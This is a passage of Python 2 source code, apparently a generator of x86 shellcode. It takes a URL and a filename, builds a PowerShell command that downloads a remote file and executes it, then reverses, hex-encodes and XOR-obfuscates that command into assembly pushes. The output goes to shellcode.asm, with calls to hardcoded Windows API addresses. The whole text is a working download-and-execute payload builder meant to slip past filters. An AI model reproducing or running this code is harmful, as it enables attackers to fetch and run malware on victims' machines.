'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz123456789=[]-' p1 = '''xor eax,eax push eax ''' p2 = ''' mov eax,esp mov ebx,0x01414141 shr ebx,0x08 shr ebx,0x08 shr ebx,0x08 push ebx push eax mov ebx,0x77b1e695 call ebx mov ebx,0x77ae2acf call ebx ''' sen1 = str(raw_input('Enter url\nExample: http://z3r0d4y.com/file.exe \nEnter:')) sen1 = sen1.rsplit() sen1 = sen1[0] sen2 = str(raw_input('Enter filename\nExample: D:\\file.exe\nEnter:')) sen2 = sen2.rsplit() sen2 = sen2[0] sen = '''powershell -command "& { (New-Object Net.WebClient).DownloadFile('%s', '%s')};%s"''' %(sen1,sen2,sen2) m = 0 for word in sen: m += 1 m = m - 1 stack = '' while(m>=0): stack += sen[m] m -= 1 stack = stack.encode('hex') skip = 1 if len(stack) % 8 == 0: skip = 0 if skip is 1: stack = '00' + stack if len(stack) % 8 == 0: skip = 0 if skip is 1: stack = '00' + stack if len(stack) % 8 == 0: skip = 0 if skip is 1: stack = '00' + stack if len(stack) % 8 == 0: skip = 0 if len(stack) % 8 == 0: zxzxzxz = 0 m = len(stack) / 8 c = 0 n = 0 z = 8 shf = open('shellcode.asm','w') shf.write(p1) shf.close() shf = open('shellcode.asm','a') while(c<m): v = 'push 0x' + stack[n:z] skip = 0 if '0x000000' in v: skip = 1 q1 = v[13:] v = 'push 0x' + q1 + '414141' + '\n' + 'pop eax\nshr eax,0x08\nshr eax,0x08\nshr eax,0x08\npush eax\n' if '0x0000' in v: skip = 1 q1 = v[11:] v = 'push 0x' + q1 + '4141' + '\n' + 'pop eax\nshr eax,0x08\nshr eax,0x08\npush eax\n' if '0x00' in v: skip = 1 q1 = v[9:] v = 'push 0x' + q1 + '41' + '\n' + 'pop eax\nshr eax,0x08\npush eax\n' if skip is 1: shf.write(v) if skip is 0: v = v.rsplit() zzz = '' for w in v: if '0x' in w: zzz = str(w) s1 = binascii.b2a_hex(''.join(random.choice(chars) for i in range(4))) s1 = '0x%s'%s1 data = "%x" % (int(zzz, 16) ^ int(s1, 16)) v = 'mov eax,0x%s\nmov ebx,%s\nxor eax,ebx\npush eax\n'%(data,s1) shf.write(v) n += 8 z += 8 c += 1 shf.write(p2) shf.close()